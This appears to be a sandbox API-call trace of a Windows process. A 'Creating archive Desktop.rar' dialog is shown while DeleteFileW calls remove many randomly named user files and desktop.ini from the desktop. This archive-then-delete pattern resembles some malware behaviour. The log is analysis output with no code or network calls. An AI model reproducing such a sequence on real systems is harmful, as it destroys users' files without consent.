GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.984] SetWindowTextW (hWnd=0x1028c, lpString="hh4lRnb.ods") returned 1 [0075.984] GetTickCount () returned 0x28d71 [0075.984] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.984] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.984] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.985] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.985] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="hh4lRnb.ods") returned 11 [0075.985] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.985] GetTickCount () returned 0x28d71 [0075.985] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16731366430) returned 1 [0075.985] GetTickCount () returned 0x28d71 [0075.985] GetTickCount () returned 0x28d71 [0075.985] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 0 [0075.985] PeekMessageW (in: lpMsg=0xe414dd670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd670) returned 0 [0075.985] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.985] DeleteFileW (lpFileName="HBzA3ifwtSZxE.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\hbza3ifwtszxe.avi")) returned 1 [0075.986] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.986] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.986] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.986] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.987] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.987] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.987] SetWindowTextW (hWnd=0x1028c, lpString="HBzA3ifwtSZxE.avi") returned 1 [0075.987] GetTickCount () returned 0x28d71 [0075.987] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.987] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.987] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.988] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.988] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="HBzA3ifwtSZxE.avi") returned 17 [0075.988] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.988] GetTickCount () returned 0x28d71 [0075.988] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16731674832) returned 1 [0075.988] GetTickCount () returned 0x28d71 [0075.988] GetTickCount () returned 0x28d71 [0075.988] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 0 [0075.988] DeleteFileW (lpFileName="H9Q00myyEZo.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\h9q00myyezo.mp3")) returned 1 [0076.068] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.068] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.068] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.068] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.069] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.069] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.069] SetWindowTextW (hWnd=0x1028c, lpString="H9Q00myyEZo.mp3") returned 1 [0076.070] GetTickCount () returned 0x28dbf [0076.070] UpdateWindow (hWnd=0x10284) returned 1 [0076.070] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.070] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.070] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.070] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.070] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="H9Q00myyEZo.mp3") returned 15 [0076.070] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.070] GetTickCount () returned 0x28dbf [0076.070] GetLastError () returned 0x0 [0076.070] SetLastError (dwErrCode=0x0) [0076.070] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0076.070] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0076.070] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 51%") returned 5 [0076.071] SetWindowTextW (hWnd=0x1028e, lpString=" 68%") returned 1 [0076.071] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x44, lParam=0x0) returned 0x33 [0076.071] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16739973758) returned 1 [0076.071] GetTickCount () returned 0x28dbf [0076.071] GetTickCount () returned 0x28dbf [0076.071] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.071] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.071] GetFocus () returned 0x2027a [0076.071] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.072] DeleteFileW (lpFileName="gG_HZ-HV.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\gg_hz-hv.swf")) returned 1 [0076.465] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.469] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.469] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.469] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.469] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.469] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.469] SetWindowTextW (hWnd=0x1028c, lpString="gG_HZ-HV.swf") returned 1 [0076.470] GetTickCount () returned 0x28f55 [0076.470] UpdateWindow (hWnd=0x10284) returned 1 [0076.470] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.470] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.470] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.470] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.470] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="gG_HZ-HV.swf") returned 12 [0076.470] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.471] GetTickCount () returned 0x28f55 [0076.471] GetLastError () returned 0x0 [0076.471] SetLastError (dwErrCode=0x0) [0076.471] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0076.471] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0076.471] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 68%") returned 5 [0076.471] SetWindowTextW (hWnd=0x1028e, lpString=" 70%") returned 1 [0076.471] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x46, lParam=0x0) returned 0x44 [0076.473] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16780125972) returned 1 [0076.473] GetTickCount () returned 0x28f55 [0076.473] GetTickCount () returned 0x28f55 [0076.473] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.473] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.473] GetFocus () returned 0x2027a [0076.473] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.473] DeleteFileW (lpFileName="GAXF44R72SInzUMj.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\gaxf44r72sinzumj.mp3")) returned 1 [0076.474] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.475] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.475] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.475] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.476] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.476] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.476] SetWindowTextW (hWnd=0x1028c, lpString="GAXF44R72SInzUMj.mp3") returned 1 [0076.476] GetTickCount () returned 0x28f55 [0076.476] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.476] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.476] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.477] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.477] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="GAXF44R72SInzUMj.mp3") returned 20 [0076.477] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.477] GetTickCount () returned 0x28f55 [0076.477] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16780563441) returned 1 [0076.477] GetTickCount () returned 0x28f55 [0076.477] GetTickCount () returned 0x28f55 [0076.477] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.477] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.477] GetFocus () returned 0x2027a [0076.477] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.478] DeleteFileW (lpFileName="EKbd9czGD.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\ekbd9czgd.bmp")) returned 1 [0076.529] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.529] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.529] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.529] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.529] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.529] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.529] SetWindowTextW (hWnd=0x1028c, lpString="EKbd9czGD.bmp") returned 1 [0076.530] GetTickCount () returned 0x28f94 [0076.530] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.530] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.530] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.530] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.530] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="EKbd9czGD.bmp") returned 13 [0076.530] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.531] GetTickCount () returned 0x28f94 [0076.531] GetLastError () returned 0x0 [0076.531] SetLastError (dwErrCode=0x0) [0076.531] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0076.531] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0076.531] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 70%") returned 5 [0076.531] SetWindowTextW (hWnd=0x1028e, lpString=" 74%") returned 1 [0076.531] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x4a, lParam=0x0) returned 0x46 [0076.532] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16786015040) returned 1 [0076.532] GetTickCount () returned 0x28f94 [0076.532] GetLastError () returned 0x0 [0076.532] SetLastError (dwErrCode=0x0) [0076.532] GetDlgItem (hDlg=0x10284, nIDDlgItem=154) returned 0x10296 [0076.532] GetWindowTextW (in: hWnd=0x10296, lpString=0xe414dc160, nMaxCount=2560 | out: lpString="00:00:09") returned 8 [0076.532] SetWindowTextW (hWnd=0x10296, lpString="00:00:10") returned 1 [0076.532] GetTickCount () returned 0x28f94 [0076.532] GetLastError () returned 0x0 [0076.532] SetLastError (dwErrCode=0x0) [0076.532] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0076.532] GetWindowTextW (in: hWnd=0x1029a, lpString=0xe414dc160, nMaxCount=2560 | out: lpString="00:00:38") returned 8 [0076.532] SetWindowTextW (hWnd=0x1029a, lpString="00:00:03") returned 1 [0076.533] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.533] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.533] GetFocus () returned 0x2027a [0076.533] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.534] DeleteFileW (lpFileName="dRR2.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\drr2.wav")) returned 1 [0076.535] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.535] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.535] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.535] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.536] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.536] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.536] SetWindowTextW (hWnd=0x1028c, lpString="dRR2.wav") returned 1 [0076.536] GetTickCount () returned 0x28f94 [0076.536] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.536] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.536] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.537] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.537] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="dRR2.wav") returned 8 [0076.537] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.537] GetTickCount () returned 0x28f94 [0076.537] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16786553621) returned 1 [0076.537] GetTickCount () returned 0x28f94 [0076.537] GetTickCount () returned 0x28f94 [0076.537] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.537] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.537] GetFocus () returned 0x2027a [0076.537] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.537] SetFileAttributesW (lpFileName="desktop.ini", dwFileAttributes=0x0) returned 1 [0076.537] DeleteFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini")) returned 1 [0076.538] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.538] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.538] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.538] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.539] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.539] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.539] SetWindowTextW (hWnd=0x1028c, lpString="desktop.ini") returned 1 [0076.539] GetTickCount () returned 0x28f94 [0076.539] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.539] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.539] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.540] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.540] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0076.540] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.540] GetTickCount () returned 0x28f94 [0076.540] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16786873768) returned 1 [0076.540] GetTickCount () returned 0x28f94 [0076.540] GetTickCount () returned 0x28f94 [0076.540] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.540] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.540] GetFocus () returned 0x2027a [0076.540] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.541] DeleteFileW (lpFileName="chO6xvKC4SuwQxTe.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\cho6xvkc4suwqxte.rtf")) returned 1 [0076.543] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.543] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.543] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.543] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.543] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.543] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.543] SetWindowTextW (hWnd=0x1028c, lpString="chO6xvKC4SuwQxTe.rtf") returned 1 [0076.544] GetTickCount () returned 0x28fa3 [0076.544] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.544] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.544] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.544] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.544] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="chO6xvKC4SuwQxTe.rtf") returned 20 [0076.544] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.545] GetTickCount () returned 0x28fa3 [0076.545] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16787339900) returned 1 [0076.545] GetTickCount () returned 0x28fa3 [0076.545] GetTickCount () returned 0x28fa3 [0076.545] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.545] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.545] GetFocus () returned 0x2027a [0076.545] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 0 [0076.545] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414dd5a0) returned 0 [0076.545] GetKeyState (nVirtKey=16) returned 0 [0076.545] TranslateAcceleratorW (hWnd=0x10284, hAccTable=0x10335, lpMsg=0xe414dd5a0) returned 0 [0076.545] TranslateMessage (lpMsg=0xe414dd5a0) returned 0 [0076.545] DispatchMessageW (lpMsg=0xe414dd5a0) returned 0x7f5d [0076.546] DeleteFileW (lpFileName="cdf 0O.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\cdf 0o.avi")) returned 1 [0076.547] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.547] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.547] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.547] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.547] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.547] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.547] SetWindowTextW (hWnd=0x1028c, lpString="cdf 0O.avi") returned 1 [0076.548] GetTickCount () returned 0x28fa3 [0076.548] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.548] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.548] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.548] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.548] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="cdf 0O.avi") returned 10 [0076.548] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.549] GetTickCount () returned 0x28fa3 [0076.549] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16787726584) returned 1 [0076.549] GetTickCount () returned 0x28fa3 [0076.549] GetTickCount () returned 0x28fa3 [0076.549] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.549] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.549] GetFocus () returned 0x2027a [0076.549] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.549] DeleteFileW (lpFileName="AG0E6OHBnNCn.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\ag0e6ohbnncn.mkv")) returned 1 [0076.606] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.606] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.606] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.606] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.607] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.607] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.607] SetWindowTextW (hWnd=0x1028c, lpString="AG0E6OHBnNCn.mkv") returned 1 [0076.607] GetTickCount () returned 0x28fe2 [0076.607] UpdateWindow (hWnd=0x10284) returned 1 [0076.608] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.608] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.608] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.609] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.609] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="AG0E6OHBnNCn.mkv") returned 16 [0076.609] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0076.609] GetTickCount () returned 0x28fe2 [0076.609] GetLastError () returned 0x0 [0076.609] SetLastError (dwErrCode=0x0) [0076.609] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0076.609] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0076.609] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 74%") returned 5 [0076.609] SetWindowTextW (hWnd=0x1028e, lpString=" 85%") returned 1 [0076.610] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x55, lParam=0x0) returned 0x4a [0076.610] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16793839897) returned 1 [0076.610] GetTickCount () returned 0x28fe2 [0076.610] GetTickCount () returned 0x28fe2 [0076.610] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0076.610] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0076.610] GetFocus () returned 0x2027a [0076.610] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0076.611] DeleteFileW (lpFileName="6u_EXsIYn4N.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\6u_exsiyn4n.jpg")) returned 1 [0076.612] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0076.612] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.612] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.612] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0076.613] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.613] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0076.613] SetWindowTextW (hWnd=0x1028c, lpString="6u_EXsIYn4N.jpg") returned 1 [0076.613] GetTickCount () returned 0x28fe2 [0076.613] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0076.613] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0076.613] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0076.614] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0076.614] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="6u_EXsIYn4N.jpg") returned 15 